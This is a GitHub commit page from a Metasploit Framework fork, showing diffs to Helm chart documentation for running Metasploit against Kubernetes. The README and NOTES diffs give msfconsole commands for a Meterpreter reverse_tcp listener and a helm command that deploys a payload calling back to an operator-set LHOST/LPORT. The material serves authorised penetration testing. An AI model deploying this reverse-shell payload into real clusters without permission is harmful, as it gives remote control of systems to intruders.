forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
8d7d25e
commit ee093d0
Showing
8 changed files
with
62 additions
and
70 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,3 @@ | ||
metasploit/charts | ||
metasploit.yaml | ||
meterpreter.yaml | ||
meterpreter.yaml |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,46 +1,37 @@ | ||
# Metasploit in Kubernetes | ||
|
||
# Running Metasploit Framework Against Kubernetes | ||
|
||
Running metasploit framework against Kubernetes enables pentesters to security test cluster components such as the API Server, as well as internal application components or micro-services. | ||
|
||
The installation chart (meterpreter) also offers to install & run a metasploit payload, that connects back to metasploit console. | ||
The payload can be deployed with different priviliges and permissions with respect to Kubernetes node hosting metasploit payload, as well as Kubernetes API server itself - see 'priviliges' section under values.yaml | ||
|
||
```yaml | ||
priviliges: | ||
# Disable Kubernetes API Server Access - even to the discovery APIs | ||
useServiceAccount: true | ||
# Run metasploit framework as Kubernetes cluster admin (useServiceAccount must be true for this setting to be effective) | ||
bindClusterRole: "" #cluster-admin | ||
|
||
# | ||
# Priviliges related to node hosting metasploit Pod | ||
# See: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ | ||
podSecurityContext: {} | ||
# fsGroup: 2000 | ||
# Metasploit container security context | ||
securityContext: {} | ||
#allowPrivilegeEscalation: false | ||
# capabilities: | ||
# add: | ||
# - NET_BIND_SERVICE | ||
# drop: | ||
# - all | ||
#runAsNonRoot: true | ||
#runAsUser: 1000 | ||
#runAsGroup: 1000 | ||
``` | ||
The most common workflow to test a Kubernetes environment with Metasploit is to target the Kubernetes API externally, | ||
or through a compromised container - both of these workflows are currently supported directly within msfconsole. | ||
|
||
An alternative to compromising a Kubernetes container to gain a Meterpreter session is to install the `meterpreter` helm chart into | ||
a Kubernetes environment directly. This newly opened Meterpreter session will act as the pivot point for running additional | ||
Metasploit modules, similar to the behavior of compromising an existing Kubernetes container with msfconsole. | ||
|
||
# Installation | ||
## Installation | ||
|
||
1. Make sure helm (version 3 or above) is [installed](https://helm.sh/docs/intro/install/) | ||
2. Make sure you have an available Kubernetes cluster to deploy metasploit. You can install a local Kubernetes cluster using [KIND](https://kind.sigs.k8s.io/docs/user/quick-start/#installation) | ||
> You can create local KIND cluster by running `make create-kind-cluster` | ||
To install the Metasploit resources in to your Kubernetes environment: | ||
|
||
1. Make sure [Helm](https://helm.sh/) (version 3 or above) is [installed](https://helm.sh/docs/intro/install/) | ||
2. Make sure you have an available Kubernetes cluster to deploy Metasploit. You can install a local Kubernetes cluster using [kind](https://kind.sigs.k8s.io/docs/user/quick-start/#installation) | ||
You can create local kind cluster by running `make create-kind-cluster` | ||
2. A penester should create a Metasploit listener from msfconsole: | ||
``` | ||
use payload/linux/x64/meterpreter/reverse_tcp | ||
set LHOST x.x.x.x | ||
set LPORT 4444 | ||
to_handler | ||
``` | ||
|
||
3. Install meterpreter helm chart by running: | ||
|
||
```sh | ||
export MSF_PORT="<routeable port from inside cluster>" | ||
export MSF_IPADDRESS="<routeable ip from inside cluster>" | ||
helm upgrade --create-namespace -i -n metasploit meterpreter ./meterpreter --set lport=$MSF_PORT --set lhost=$MSF_IPADDRESS | ||
export LHOST="x.x.x.x" | ||
export LPORT="4444" | ||
helm upgrade --create-namespace -i -n metasploit meterpreter ./meterpreter --set lhost=$LHOST --set lport=$LPORT | ||
``` | ||
4. If the listener from step 3 was created, ensure you now have a Meterpreter session in msfconsole | ||
|
||
## Privileges | ||
|
||
The Meterpreter container can be deployed with different privileges and permissions - see the `privileges` section within | ||
[./meterpreter/values.yaml](values.yaml) for more details. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -10,9 +10,6 @@ keywords: | |
- pentest | ||
- penetration testing | ||
home: https://www.metasploit.com/ | ||
icon: https://www.metasploit.com/includes/images/metasploit-r7-logo.svg | ||
icon: https://www.metasploit.com/includes/images/metasploit-og.png | ||
sources: | ||
- https://github.com/rapid7/metasploit-framework | ||
maintainers: | ||
- email: [email protected] | ||
name: Metasploit Hackers |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1,8 @@ | ||
Make sure meterpreter connected to your Metasploit Receive Handler running at {{ .Values.lhost}}:{{.Values.lport}} | ||
Make sure meterpreter connected to your Metasploit listener running at {{ .Values.lhost }}:{{ .Values.lport }} | ||
|
||
You can create a Metasploit listener with: | ||
|
||
use payload/linux/x64/meterpreter/reverse_tcp | ||
set LHOST {{ .Values.lhost }} | ||
set LPORT {{ .Values.lport }} | ||
to_handler |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters